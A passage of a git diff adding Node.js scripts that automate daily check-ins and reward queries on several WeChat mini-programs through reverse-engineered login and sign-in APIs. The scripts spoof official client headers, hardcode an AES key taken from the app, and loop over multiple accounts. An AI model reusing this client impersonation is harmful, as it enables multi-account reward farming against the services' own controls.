(!WX_AUTH) throw new Error("未配置 wx_auth,无法通过 wx_server 获取 code"); + const { data } = await this.wx.getCode(openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + headers(shopId = "", token = "", extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${this.app.appid}/1/page-frame.html`, + "content-type": "application/json", + "JJ-CHAINID": this.app.chainId, + "BDSZH-SHOPID": shopId, + "JJ-SHOPID": shopId, + "JJ-MiniAppVersion": this.app.version, + "JJ-AppId": this.app.appid, + ...extra, + }; + if (token) headers.Authorization = `Bearer ${token}`; + return headers; + } + + async request({ method = "GET", apiPath, shopId = "", token = "", params = {}, data = {}, bizCode = "" }) { + const options = { + method, + url: `${this.app.apiBase}${apiPath}`, + headers: this.headers(shopId, token, bizCode ? { "JJ-BizCode": bizCode } : {}), + timeout: 20000, + validateStatus: () => true, + }; + if (method === "GET") options.params = params; + else options.data = data; + + const { data: result, status } = await axios.request(options); + if (status > 400) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + return result; + } +} + +class ShopTask { + constructor(ctx, shop, account, index) { + this.ctx = ctx; + this.app = ctx.app; + this.shop = { + shopId: String(shop.shopId), + shopName: String(shop.shopName || `门店${shop.shopId}`).trim(), + }; + this.account = String(account || "").trim(); + this.index = index; + this.token = ""; + this.isMember = false; + this.member = null; + this.loginShopName = ""; + } + + prefix() { + return `[${this.app.name}][${this.shop.shopName}][账号${this.index}]`; + } + + cacheKey() { + return `${this.app.appid}:${this.account}:${this.shop.shopId}`; + } + + getCachedToken() { + const cache = readCache(); + return cache[this.cacheKey()] || null; + } + + saveToken() { + if (!this.token) return; + const cache = readCache(); + cache[this.cacheKey()] = { + token: this.token, + isMember: this.isMember, + member: this.member, + shopId: this.shop.shopId, + shopName: this.loginShopName || this.shop.shopName, + appid: this.app.appid, + appName: this.app.name, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + clearToken() { + const cache = readCache(); + delete cache[this.cacheKey()]; + writeCache(cache); + this.token = ""; + } + + applyLogin(data = {}) { + this.token = data.token || ""; + this.isMember = !!data.isMember; + this.member = data.member || null; + this.loginShopName = data.shopName || ""; + } + + async run() { + const result = { + appName: this.app.name, + shopName: this.shop.shopName, + loginShopName: "", + member: false, + memberText: "", + assets: { coin: 0, integral: 0, ticket: 0, coupon: 0 }, + sign: "未执行", + }; + + const cached = this.getCachedToken(); + if (cached) { + this.token = cached.token || ""; + this.isMember = !!cached.isMember; + this.member = cached.member || null; + this.loginShopName = cached.shopName || ""; + $.log(`${this.prefix()} 使用缓存token ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + this.clearToken(); + $.log(`${this.prefix()} 缓存token失效,重新登录`); + } + } + + if (!this.token) await this.login(); + if (!this.token) { + result.sign = "登录失败"; + $.log(`${this.prefix()} 结果=${result.sign}`); + return result; + } + + const memberText = this.member + ? `${this.member.nickName || this.member.name || this.member.memberName || "member"}${this.member.phone ? ` ${maskPhone(this.member.phone)}` : ""}` + : "非会员"; + const assets = this.isMember ? await this.getAssets() : result.assets; + result.loginShopName = this.loginShopName || this.shop.shopName; + result.member = this.isMember; + result.memberText = memberText; + result.assets = assets; + + $.log( + `${this.prefix()} 查询: 登录门店=${result.loginShopName} member=${this.isMember} ${memberText} 代币=${assets.coin} 积分=${assets.integral} 彩票=${assets.ticket} 优惠券=${assets.coupon}` + ); + + if (!this.isMember) { + result.sign = "非会员跳过"; + $.log(`${this.prefix()} 签到: ${result.sign}`); + return result; + } + + result.sign = await this.sign(); + $.log(`${this.prefix()} 签到: ${result.sign}`); + return result; + } + + async checkToken() { + try { + const result = await this.ctx.request({ + apiPath: "/signed/capp/signed/getreward", + shopId: this.shop.shopId, + token: this.token, + }); + return !!result.success; + } catch { + return false; + } + } + + async login() { + try { + const code = await this.ctx.getCode(this.account); + const result = await this.ctx.request({ + method: "POST", + apiPath: "/capp/account/login", + shopId: this.shop.shopId, + data: { code }, + }); + if (!result.success) throw new Error(result.msg || JSON.stringify(result)); + this.applyLogin(result.data || {}); + if (!this.token) throw new Error(`登录响应无token: ${JSON.stringify(result)}`); + this.saveToken(); + $.log(`${this.prefix()} 登录成功 token=${shortToken(this.token)}`); + } catch (e) { + $.log(`${this.prefix()} 登录失败: ${e.message || e}`); + } + } + + async getAssets() { + const assets = { coin: 0, integral: 0, ticket: 0, coupon: 0 }; + const accountNames = {}; + try { + const account = await this.ctx.request({ + apiPath: "/basic/shop/xcx/scene/getaccount", + shopId: this.shop.shopId, + token: this.token, + }); + const list = Array.isArray(account?.data) ? account.data : []; + for (const item of list) accountNames[Number(item.key)] = item.value; + } catch (e) { + $.log(`${this.prefix()} 查询账户类型失败: ${e.message || e}`); + } + + try { + const store = await this.ctx.request({ + apiPath: "/member/capp/member/store/get", + shopId: this.shop.shopId, + token: this.token, + }); + const list = Array.isArray(store?.data) ? store.data : []; + for (const item of list) addStoreAsset(assets, item.storeCategory, item.value, accountNames[Number(item.storeCategory)]); + } catch (e) { + $.log(`${this.prefix()} 查询资产失败: ${e.message || e}`); + } + try { + const coupon = await this.ctx.request({ + apiPath: "/coupon/capp/membercoupon/count", + shopId: this.shop.shopId, + token: this.token, + }); + if (coupon?.success) assets.coupon = Number(coupon.data || 0); + } catch (e) { + $.log(`${this.prefix()} 查询优惠券失败: ${e.message || e}`); + } + return assets; + } + + async getReward() { + const result = await this.ctx.request({ + apiPath: "/signed/capp/signed/getreward", + shopId: this.shop.shopId, + token: this.token, + }); + if (!result.success) throw new Error(result.msg || JSON.stringify(result)); + return result.data || {}; + } + + async getProgress(signType) { + const apiPath = Number(signType) === 0 ? "/signed/capp/signed/getprogress" : "/signed/capp/signed/getnewprogress"; + const result = await this.ctx.request({ + apiPath, + shopId: this.shop.shopId, + token: this.token, + }); + if (!result.success) throw new Error(result.msg || JSON.stringify(result)); + return result.data || {}; + } + + getSignedState(reward, progress) { + const signType = Number(reward.signCycle || 0); + const signMode = Number(reward.signMode || 1); + + if (signType === 0) { + return { + signType, + signMode, + signed: !progress.isSigning, + currentDay: progress.signInDays || 0, + apiPath: "/signed/capp/signed/confirm", + }; + } + + if (signMode === 2 && progress.totalDay) { + return { + signType, + signMode, + signed: !progress.totalDay.isSigning, + currentDay: progress.totalDay.signInDays || 0, + apiPath: "/signed/capp/signed/newconfirm", + }; + } + + if (signMode === 3 && Array.isArray(progress.dailyDay)) { + return { + signType, + signMode, + signed: progress.dailyDay.some((item) => isToday(item.signDate)), + currentDay: progress.dailyDay.length, + apiPath: "/signed/capp/signed/newconfirm", + }; + } + + return { + signType, + signMode, + signed: progress.totalDay ? !progress.totalDay.isSigning : false, + currentDay: progress.totalDay?.signInDays || 0, + apiPath: "/signed/capp/signed/newconfirm", + }; + } + + async sign() { + try { + const reward = await this.getReward(); + if (!reward.isEnabled) return "未开启签到"; + + const progress = await this.getProgress(reward.signCycle); + const state = this.getSignedState(reward, progress); + $.log(`${this.prefix()} 签到状态: signType=${state.signType} signMode=${state.signMode} currentDay=${state.currentDay} signed=${state.signed}`); + + if (state.signed) return "今日已签到"; + + const result = await this.ctx.request({ + method: "POST", + apiPath: state.apiPath, + shopId: this.shop.shopId, + token: this.token, + data: { longitude: 0, latitude: 0 }, + bizCode: createGuid(), + }); + if (!result.success) throw new Error(result.msg || JSON.stringify(result)); + const data = result.data || {}; + return `签到成功${data.rewardName || data.prizeName ? ` 奖励=${data.rewardName || data.prizeName}` : ""}`; + } catch (e) { + return `签到失败: ${e.message || e}`; + } + } +} + +!(async () => { + const totalEntries = parseEntries(process.env[CK_NAME] || ""); + const summaries = []; + + for (const app of APPS) { + const accounts = resolveAccounts(app, totalEntries); + if (!accounts.length) { + $.log(`[${app.name}] 未配置账号,跳过`); + continue; + } + + $.log(`\n===== ${app.name} appid=${app.appid} chainId=${app.chainId} 门店数=${app.shops.length} =====`); + const ctx = new AppContext(app); + for (const shop of app.shops) { + let index = 1; + for (const account of accounts) { + summaries.push(await new ShopTask(ctx, shop, account, index++).run()); + } + } + } + + if (!summaries.length) { + $.log(`未找到账号,请配置 ${CK_NAME} 或原单脚本变量名`); + return; + } + + $.log("\n========== jingjianx 签到汇总 =========="); + for (const item of summaries) { + $.log( + `${item.appName} | ${item.loginShopName || item.shopName} | ${item.memberText || "未知用户"} | 代币=${item.assets.coin} 积分=${item.assets.integral} 彩票=${item.assets.ticket} 优惠券=${item.assets.coupon} | ${item.sign}` + ); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/jingyoujia.js b/wxapp/jingyoujia.js new file mode 100644 index 00000000..62ffd8f1 --- /dev/null +++ b/wxapp/jingyoujia.js @@ -0,0 +1,308 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 劲友家小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:jingyoujia +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("劲友家小程序签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx10bc773e0851aedd"; +const API_BASE = "https://jjw.jingjiu.com/app-jingyoujia"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jingyoujia_token_cache.json"); +const PAGE_VERSION = "1052"; +const AES_KEY = "Z0J7M480h6kppf67"; +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "jingyoujia"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function isTokenError(message) { + return /401|token|登录|授权|未登录|无效|过期/i.test(String(message || "")); +} + +function aesEncrypt(text) { + const cipher = crypto.createCipheriv("aes-128-ecb", Buffer.from(AES_KEY, "utf8"), null); + cipher.setAutoPadding(true); + return Buffer.concat([cipher.update(String(text), "utf8"), cipher.final()]).toString("base64"); +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.token = ""; + this.userInfo = {}; + this.points = ""; + this.task = null; + this.record = null; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getCustomerDetails(); + await this.getIntegral(); + await this.findCheckTask(); + await this.queryRecord(); + await this.signIn(); + await this.getIntegral(); + } + + getCachedToken() { + const cache = readTokenCache(); + const item = cache[this.account]; + return item && item.accessToken ? item : null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.account] = { + accessToken: this.token, + userInfo: this.userInfo || {}, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.account]) { + delete cache[this.account]; + writeTokenCache(cache); + } + this.token = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.token = data.accessToken || data.token || ""; + this.userInfo = data.userInfo || {}; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json", + appId: MINI_APP_ID, + Authorization: this.token || "none", + ...extra, + }; + } + + async request({ method = "GET", apiPath, params = {}, data = {}, notAuth = false }) { + const upperMethod = method.toUpperCase(); + const options = { + method: upperMethod, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(notAuth ? { Authorization: "none" } : {}), + timeout: 20000, + validateStatus: () => true, + }; + if (upperMethod === "GET") options.params = params; + else options.data = data; + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || (Number(result.code) !== 200 && String(result.code) !== "200")) { + throw new Error(result?.msg || result?.message || JSON.stringify(result)); + } + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.account); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + method: "POST", + apiPath: "/login", + notAuth: true, + data: { code }, + }); + this.token = data?.accessToken || ""; + if (!this.token) throw new Error(`登录响应未返回 accessToken: ${JSON.stringify(data)}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.request({ apiPath: "/app/jingyoujia/customer/detail" }); + return true; + } catch (e) { + return false; + } + } + + async getCustomerDetails() { + try { + const data = await this.request({ apiPath: "/app/jingyoujia/customer/detail" }); + this.userInfo = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 会员: ${data?.nickName || data?.nickname || "未知"} ${maskPhone(data?.mobile || "")}`); + } catch (e) { + $.log(`账号[${this.index}] 查询会员失败: ${e.message || e}`); + if (isTokenError(e.message || e)) this.removeCachedToken(); + } + } + + async getIntegral() { + try { + const data = await this.request({ apiPath: "/app/jingyoujia/customer/queryCustIntegral" }); + this.points = data?.usableIntegral ?? data?.integral ?? data?.custIntegral ?? data?.points ?? ""; + $.log(`账号[${this.index}] 当前积分: ${this.points === "" ? JSON.stringify(data) : this.points}`); + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + } + } + + async findCheckTask() { + try { + const data = await this.request({ apiPath: "/app/jingyoujia/taskContinuousRecord/findCheckTask" }); + if (!data || !data.id) { + $.log(`账号[${this.index}] 当前无签到活动`); + return; + } + this.task = data; + const start = String(data.startTime || "").slice(0, 10); + const end = String(data.endTime || "").slice(0, 10); + $.log(`账号[${this.index}] 签到活动: taskId=${data.id}${start || end ? ` ${start}-${end}` : ""}`); + } catch (e) { + $.log(`账号[${this.index}] 获取签到活动失败: ${e.message || e}`); + } + } + + async queryRecord() { + if (!this.task?.id) return; + try { + const data = await this.request({ + apiPath: "/app/jingyoujia/taskContinuousRecord/queryRecord", + params: { taskId: this.task.id }, + }); + this.record = data || {}; + $.log(`账号[${this.index}] 签到状态: 连续${data?.continuousNum ?? 0}天 今日=${data?.todayFinish ? "已签" : "未签"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询签到状态失败: ${e.message || e}`); + } + } + + async signIn() { + if (!this.task?.id) return; + if (this.record?.todayFinish) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + try { + const data = await this.request({ + method: "POST", + apiPath: "/app/jingyoujia/taskContinuousRecord", + data: { + v1: aesEncrypt(JSON.stringify({ taskId: this.task.id })), + }, + }); + const integral = data?.currentSignIntegral ?? data?.integral ?? ""; + $.log(`账号[${this.index}] 签到成功${integral !== "" ? `: +${integral}积分` : ""}`); + await this.finishTask(); + } catch (e) { + const message = String(e.message || e); + if (/已签到|重复|todayFinish/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + if (/20230529|captcha|验证码|滑块/.test(message)) { + $.log(`账号[${this.index}] 签到需要验证码,已跳过`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async finishTask() { + try { + await this.request({ + method: "POST", + apiPath: "/business/member/task/finish", + data: { + latitude: 0, + longitude: 0, + taskType: 1, + }, + }); + } catch (e) { + $.log(`账号[${this.index}] 完成任务上报失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + await new Task(account).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/jlc.js b/wxapp/jlc.js new file mode 100644 index 00000000..f155e0ee --- /dev/null +++ b/wxapp/jlc.js @@ -0,0 +1,380 @@ +/* +------------------------------------------ +@Description: 嘉立创(JLC) - 微信小程序静默登录 + 每日签到(豆豆) +cron: 57 8 * * * +------------------------------------------ +变量名:jlc +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx6c7b851c877dba42,业务 m.jlc.com / 鉴权 passport.jlc.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录,纯 wx.login code 换 token,无需明文 openId/encryptedData) + +secretkey:动态 keyId,POST https://m.jlc.com/api/integrated/secret/update {keyId?} + -> code==200,data.keyId(作为后续所有请求头 secretkey);29001/29003/HTTP460 表示过期需重取 +CAS 换码(passport.jlc.com,appId=JLC_MOBILE_APP): + 1) POST /api/cas/sso/login/check-applet-login {appId, appletAuthCode:} + -> code==200,data.token(applet_login_token);data.isLoginBind/bind===false = 该微信未绑定嘉立创账号 + 2) POST /api/cas/sso/login/applet-silent-login {token:, appId} + -> 响应内递归取 "AC-" 前缀串 = cas_code +登录 POST https://m.jlc.com/api/login/login-by-code multipart 表单 code=,头带 secretkey / X-JLC-AccessToken:NONE + -> token 在响应头 X-Jlc-Accesstoken 或 body data.accessToken/token +状态 GET /api/activity/sign/getCurrentUserSignInConfig?platformType=MP-WEIXIN + -> success,data.haveSignIn(已签)/haveReceive/day(连续天数) +签到 GET /api/activity/sign/signIn?platformType=MP-WEIXIN&source=2 -> success,data.gainNum +七天领取 GET /api/activity/sign/receiveVoucher?platformType=MP-WEIXIN (day==7 && haveSignIn && !haveReceive) +豆豆总数 GET /api/activity/front/getCustomerIntegral -> data.integralVoucher +CAS_APP_ID/platformType/source 为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("嘉立创签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const FormData = require("form-data"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jlc"; +const MINI_APP_ID = "wx6c7b851c877dba42"; +const PAGE_VERSION = "154"; +const BASE_URL = "https://m.jlc.com"; +const CAS_BASE_URL = "https://passport.jlc.com"; +const CAS_APP_ID = "JLC_MOBILE_APP"; +const PLATFORM_TYPE = "MP-WEIXIN"; +const SOURCE = "2"; +const MP_ENV = "release"; +const MP_VERSION = "1.117.4"; + +const SECRET_UPDATE_URL = BASE_URL + "/api/integrated/secret/update"; +const CAS_CHECK_URL = CAS_BASE_URL + "/api/cas/sso/login/check-applet-login"; +const CAS_LOGIN_URL = CAS_BASE_URL + "/api/cas/sso/login/applet-silent-login"; +const LOGIN_URL = BASE_URL + "/api/login/login-by-code"; +const SECRET_EXPIRED_CODES = [29001, 29003]; + +const TOKEN_CACHE_FILE = path.join(__dirname, "jlc_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +// 递归从 CAS 响应里取 "AC-" 前缀授权码 +function extractCasAuthCode(payload) { + if (typeof payload === "string") return payload.startsWith("AC-") ? payload : null; + if (Array.isArray(payload)) { + for (const v of payload) { const c = extractCasAuthCode(v); if (c) return c; } + return null; + } + if (payload && typeof payload === "object") { + for (const k of Object.keys(payload)) { const c = extractCasAuthCode(payload[k]); if (c) return c; } + return null; + } + return null; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.secret = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + // 动态获取/刷新 secretkey(keyId) + async refreshSecret(previousKey = "") { + const headers = { + accept: "application/json, text/plain, */*", + "content-type": "application/json;charset=UTF-8", + "X-JLC-AccessToken": this.token || "NONE", + "X-JLC-ClientType": PLATFORM_TYPE, + "X-JLC-MP-AppId": MINI_APP_ID, + "X-JLC-MP-Env": MP_ENV, + "X-JLC-MP-Version": MP_VERSION, + origin: BASE_URL, + referer: BASE_URL + "/", + "user-agent": UA, + }; + const body = previousKey ? { keyId: previousKey } : {}; + const res = await axios.request({ method: "POST", url: SECRET_UPDATE_URL, data: body, headers, timeout: 30000, validateStatus: () => true }); + const data = res.data || {}; + const keyId = (data.data && data.data.keyId) || null; + if (Number(data.code) !== 200 || !keyId) throw new Error(`更新secretkey失败: ${short(data.message || data)}`); + this.secret = String(keyId); + return this.secret; + } + // wx.login code -> CAS AC- 授权码 + async getCasAuthCode() { + const wxCode = await this.getCode(); + const headers = { + accept: "application/json, text/plain, */*", + "content-type": "application/json", + referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "user-agent": UA, + }; + // 1) check-applet-login + const checkRes = await axios.request({ + method: "POST", url: CAS_CHECK_URL, + data: { appId: CAS_APP_ID, appletAuthCode: wxCode }, headers, + timeout: 30000, validateStatus: () => true, + }); + const checkData = checkRes.data || {}; + const checkInfo = checkData.data || {}; + const appletLoginToken = checkInfo && checkInfo.token; + if (Number(checkData.code) !== 200 || !appletLoginToken) { + throw new Error(`CAS检查小程序登录失败: ${short(checkData.message || checkData.msg || checkData)}`); + } + if (checkInfo.isLoginBind === false || checkInfo.bind === false) { + throw new Error("NO_ACCOUNT:嘉立创账号尚未绑定当前微信"); + } + // 2) applet-silent-login + const loginHeaders = { ...headers, referer: `${CAS_BASE_URL}/m/login/mp-login?appId=${CAS_APP_ID}` }; + const loginRes = await axios.request({ + method: "POST", url: CAS_LOGIN_URL, + data: { token: appletLoginToken, appId: CAS_APP_ID }, headers: loginHeaders, + timeout: 30000, validateStatus: () => true, + }); + const loginData = loginRes.data || {}; + const casCode = extractCasAuthCode(loginData); + if (Number(loginData.code) !== 200 || !casCode) { + throw new Error(`CAS小程序静默登录失败: ${short(loginData.message || loginData.msg || loginData)}`); + } + return casCode; + } + // 用 CAS AC- code 登录,密钥过期自动刷新重试 + async login() { + await this.refreshSecret(); + const errors = []; + for (let attempt = 0; attempt < 2; attempt++) { + try { + const casCode = await this.getCasAuthCode(); + const form = new FormData(); + form.append("code", casCode); + const headers = { + ...form.getHeaders(), + accept: "application/json, text/plain, */*", + referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "X-JLC-AccessToken": "NONE", + "X-JLC-ClientType": PLATFORM_TYPE, + "X-JLC-MP-AppId": MINI_APP_ID, + "X-JLC-MP-Env": MP_ENV, + "X-JLC-MP-Version": MP_VERSION, + secretkey: this.secret, + xweb_xhr: "1", + "user-agent": UA, + }; + const res = await axios.request({ method: "POST", url: LOGIN_URL, data: form, headers, timeout: 30000, validateStatus: () => true }); + // token: 响应头优先,其次 body + let token = res.headers["x-jlc-accesstoken"] || res.headers["X-Jlc-Accesstoken"]; + let secret = res.headers["secretkey"] || this.secret; + const payload = res.data || {}; + const candidates = []; + if (payload && typeof payload.data === "object" && payload.data) candidates.push(payload.data); + candidates.push(payload); + for (const item of candidates) { + if (!item || typeof item !== "object") continue; + token = token || item.accessToken || item.token || item.access_token; + secret = item.secretkey || item.secretKey || secret; + } + if (token && String(token).toUpperCase() !== "NONE") { + this.token = String(token); + this.secret = String(secret || this.secret); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, secret: this.secret, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + return; + } + const detail = `第${attempt + 1}次: status=${res.status}, body=${short(payload)}`; + errors.push(detail); + const respCode = Number(payload && payload.code); + if (attempt === 0 && (SECRET_EXPIRED_CODES.includes(respCode) || res.status === 460)) { + await this.refreshSecret(this.secret); + this.log("登录未通过,已刷新secretkey并用新CAS授权码重试"); + continue; + } + break; + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) throw e; + errors.push(`第${attempt + 1}次: ${e.message || e}`); + break; + } + } + throw new Error(`CAS登录失败;${errors.join(";")}`); + } + // 业务 GET,密钥过期自动刷新重试一次 + async apiGet(apiPath, params) { + let data = {}; + for (let attempt = 0; attempt < 2; attempt++) { + const headers = { + accept: "application/json, text/plain, */*", + "content-type": "application/json;charset=UTF-8", + "x-jlc-accesstoken": this.token, + secretkey: this.secret, + origin: BASE_URL, + referer: BASE_URL + "/", + "user-agent": UA, + }; + const res = await axios.request({ method: "GET", url: BASE_URL + apiPath, params, headers, timeout: 20000, validateStatus: () => true }); + data = res.data || {}; + if (attempt === 0 && SECRET_EXPIRED_CODES.includes(Number(data.code))) { + await this.refreshSecret(this.secret); + continue; + } + return data; + } + return data; + } + async getSignStatus() { + return this.apiGet("/api/activity/sign/getCurrentUserSignInConfig", { platformType: PLATFORM_TYPE }); + } + async doSignIn() { + return this.apiGet("/api/activity/sign/signIn", { platformType: PLATFORM_TYPE, source: SOURCE }); + } + async receiveVoucher() { + return this.apiGet("/api/activity/sign/receiveVoucher", { platformType: PLATFORM_TYPE }); + } + async getIntegral() { + return this.apiGet("/api/activity/front/getCustomerIntegral", {}); + } + async validateToken() { + try { + const st = await this.getSignStatus(); + return st && st.success === true; + } catch (e) { return false; } + } + extractStreakDay(d) { + for (const k of ["day", "continuousDay", "continueDay", "signDay"]) { + const v = d && d[k]; + if (typeof v === "number") return v; + if (typeof v === "string" && /^\d+$/.test(v)) return Number(v); + } + return null; + } + async sign(retry = true) { + // 1) 查状态 + let st = await this.getSignStatus(); + if (!st || st.success !== true) { + if (retry && this.isAuthErr(st)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + return this.log(`❌ 查询签到状态失败: ${short(st)}`); + } + let d = st.data || {}; + let haveSignIn = d.haveSignIn === true; + let haveReceive = d.haveReceive === true; + let streak = this.extractStreakDay(d); + // 2) 签到 + if (haveSignIn) { + this.log(`✅ 今日已签到${streak != null ? `,已连续 ${streak} 天` : ""}`); + } else { + const si = await this.doSignIn(); + if (si && si.success === true) { + const gain = (si.data && si.data.gainNum) || 0; + this.log(`✅ 签到成功,本次获得 ${gain} 豆豆`); + const st2 = await this.getSignStatus(); + if (st2 && st2.success === true) { + d = st2.data || {}; + haveSignIn = d.haveSignIn === true; + haveReceive = d.haveReceive === true; + streak = this.extractStreakDay(d); + } + } else { + const msg = (si && (si.message || si.msg)) || short(si); + if (/已签|签到过|重复|已完成/.test(String(msg))) this.log(`✅ 今日已签到(${msg})`); + // 嘉立创服务端风控:账号已登录且接口鉴权正常,但签到被判"疑似违反规则" + else if (/违反签到规则|疑似|风控|联系工作人员/.test(String(msg))) { + this.log(`🚫 被嘉立创风控拦截(${msg}):登录/鉴权均正常、账号已绑定,此为服务端对账号或运行环境的判定,脚本层无法绕过(可尝试先在小程序手动签一次或换网络)`); + } else this.log(`❌ 签到失败: ${msg}`); + } + } + // 3) 第七天领取 + if (streak === 7 && haveSignIn && !haveReceive) { + const rv = await this.receiveVoucher(); + if (rv && rv.success === true) this.log(`✅ 连续第7天领取成功:+${short(rv.data)} 豆豆`); + else this.log(`❌ 第七天领取失败: ${short(rv && (rv.message || rv.msg) || rv)}`); + } else if (streak === 7 && haveSignIn && haveReceive) { + this.log("✅ 连续第7天奖励已领取"); + } + // 4) 查豆豆总数 + const ct = await this.getIntegral(); + if (ct && ct.success === true) { + const cd = ct.data || {}; + this.log(`📊 当前豆豆总数:${cd.integralVoucher ?? "?"}${cd.expireTime ? `,有效期至 ${cd.expireTime}` : ""}`); + } + } + isAuthErr(resp) { + const code = Number(resp && resp.code); + const msg = String((resp && (resp.message || resp.msg)) || ""); + if ([401, 403, 460].includes(code)) return true; + return /token|登录|未授权|失效|过期|未登录|鉴权/i.test(msg); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.secret = 